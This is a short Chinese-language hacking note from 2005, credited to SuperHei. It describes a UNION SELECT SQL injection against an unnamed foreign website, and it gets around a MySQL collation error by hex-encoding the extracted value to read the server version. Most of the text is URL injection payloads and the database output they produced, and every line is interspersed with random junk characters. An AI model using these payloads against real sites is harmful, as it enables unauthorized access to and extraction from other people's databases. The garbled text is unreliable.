本文作者:SuperHei) N3 ^: p) g$ @1 q
文章性质:原创( \4 I5 `& h* P; P1 m- q+ y
发布日期:2005-10-18: z {- O" Z4 w: { W" w0 f* d
测试个国外的站时:
. m# f1 r1 O) L( M0 t1 S2 turl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
- m9 i Z7 k" ]1 f返回错误:( ]4 A/ y+ p8 ~% R0 j( G2 Q9 E
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'3 f& `! S! |5 z n r
MySQL Error No. 126
! ?6 A( F' z$ c看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。+ c0 [0 g0 Z) @" \2 V
解决办法:转为其他编码如hex。
( w0 v, o5 R& ~5 y' C; r7 j, Xurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*5 F8 h2 D6 G( }' p8 ?7 c# h' a- C- r
成功得到hex(version())的值为:
% M" `8 D% R# p# x: @& v342E312E332D62657461: X! ~# b' V" k7 Z9 n. a) f
回Mysql查询下得到:2 A& u/ B5 s0 J" i
mysql> select 0x342E312E332D62657461;0 a$ {/ P- i+ b, A
+------------------------+
# J: F! ~1 q( a, c& L4 H8 S+ p| 0x342E312E332D62657461 |$ s {7 f5 C- d. b% d) n
+------------------------+2 ~! X" p- f' c9 e6 D$ V+ T
| 4.1.3-beta |
4 p* l$ p' n, V: m( i+------------------------+9 y# ?% o2 R: a, k- i- B: i9 J4 t4 B
1 row in set (0.00 sec)
; ~5 v9 t6 k' b1 W5 W! ~# q
& H4 g5 A7 V) k" ` |